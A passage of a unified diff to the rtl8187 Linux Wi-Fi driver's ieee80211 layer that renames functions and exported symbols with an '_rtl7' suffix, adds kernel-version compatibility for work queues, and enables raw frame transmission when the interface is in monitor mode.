#ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2247,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2268,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2280,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2304,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2337,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2388,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2405,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2444,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2458,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2479,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2562,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2574,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2589,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2618,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2634,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c 2007-05-26 10:38:07.000000000 +0200 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_tx.c 2007-05-26 10:38:07.000000000 +0200 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -397,7 +402,7 @@ /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -432,7 +437,7 @@ /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); @@ -446,7 +451,7 @@ /* Encryption routine will move the header forward in order * to insert the IV between the header and the 